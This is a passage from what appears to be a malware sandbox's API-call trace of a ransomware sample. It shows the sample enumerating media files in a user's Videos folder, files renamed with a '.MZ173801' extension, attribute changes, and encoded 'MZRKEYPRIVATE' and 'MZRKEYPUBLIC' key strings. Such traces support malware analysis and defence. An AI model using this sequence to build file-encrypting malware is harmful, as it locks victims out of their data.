ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="z 7ggJ8", cAlternateFileName="Z7GGJ8~1")) returned 0 [0166.965] GetLastError () returned 0x12 [0166.965] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0166.965] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, ftLastAccessTime.dwLowDateTime=0x8da85d0b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8da85d0b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0166.965] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0166.965] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, ftLastAccessTime.dwLowDateTime=0x8da85d0b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8da85d0b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e543d10, ftCreationTime.dwHighDateTime=0x1d5ecc6, ftLastAccessTime.dwLowDateTime=0x9f61850, ftLastAccessTime.dwHighDateTime=0x1d5e931, ftLastWriteTime.dwLowDateTime=0x8d6f24f2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xc598, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="4DOO7h9IdbHgOJ L.flv.MZ173801", cAlternateFileName="4DOO7H~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9848d420, ftCreationTime.dwHighDateTime=0x1d5e356, ftLastAccessTime.dwLowDateTime=0xf6a95920, ftLastAccessTime.dwHighDateTime=0x1d5e6aa, ftLastWriteTime.dwLowDateTime=0x8d7186c2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x13ed7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5uhOhbIjv9JmUgM6ZS_E.swf.MZ173801", cAlternateFileName="5UHOHB~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7699670, ftCreationTime.dwHighDateTime=0x1d5eed6, ftLastAccessTime.dwLowDateTime=0xc24cb1b0, ftLastAccessTime.dwHighDateTime=0x1d5e243, ftLastWriteTime.dwLowDateTime=0x8d86fbba, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9918, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="fhSP KphnxTI.flv.MZ173801", cAlternateFileName="FHSPKP~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe550bc20, ftCreationTime.dwHighDateTime=0x1d5ed14, ftLastAccessTime.dwLowDateTime=0x6b28d6d0, ftLastAccessTime.dwHighDateTime=0x1d5ed9b, ftLastWriteTime.dwLowDateTime=0x8d895dec, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x160c9, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="gypaWQDSFuYxA4ea_Oei.mkv.MZ173801", cAlternateFileName="GYPAWQ~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71f2fe0, ftCreationTime.dwHighDateTime=0x1d5edff, ftLastAccessTime.dwLowDateTime=0x75858a00, ftLastAccessTime.dwHighDateTime=0x1d5eb4e, ftLastWriteTime.dwLowDateTime=0x8d9c70e3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18519, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="wKHsoyD.avi.MZ173801", cAlternateFileName="WKHSOY~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31abf740, ftCreationTime.dwHighDateTime=0x1d5edfd, ftLastAccessTime.dwLowDateTime=0xa5fc5180, ftLastAccessTime.dwHighDateTime=0x1d5e7ae, ftLastWriteTime.dwLowDateTime=0x8da85d0b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x137d1, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="WVzot.flv.MZ173801", cAlternateFileName="WVZOTF~1.MZ1")) returned 1 [0166.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="z 7ggJ8", cAlternateFileName="Z7GGJ8~1")) returned 1 [0166.977] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.977] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.977] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0166.977] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0166.977] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de53b80, ftCreationTime.dwHighDateTime=0x1d5eb27, ftLastAccessTime.dwLowDateTime=0xcac2eee0, ftLastAccessTime.dwHighDateTime=0x1d5e1e9, ftLastWriteTime.dwLowDateTime=0xcac2eee0, ftLastWriteTime.dwHighDateTime=0x1d5e1e9, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="bAQTMwTYFo4f.avi", cAlternateFileName="BAQTMW~1.AVI")) returned 1 [0166.977] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0166.977] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de53b80, ftCreationTime.dwHighDateTime=0x1d5eb27, ftLastAccessTime.dwLowDateTime=0xcac2eee0, ftLastAccessTime.dwHighDateTime=0x1d5e1e9, ftLastWriteTime.dwLowDateTime=0xcac2eee0, ftLastWriteTime.dwHighDateTime=0x1d5e1e9, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe)) returned 1 [0166.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\baqtmwtyfo4f.avi")) returned 0x20 [0166.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\bAQTMwTYFo4f.avi", dwFileAttributes=0x80) returned 1 [0166.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.981] GetCurrentThreadId () returned 0xab4 [0166.981] GetCurrentThreadId () returned 0xab4 [0166.981] GetCurrentThreadId () returned 0xab4 [0166.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 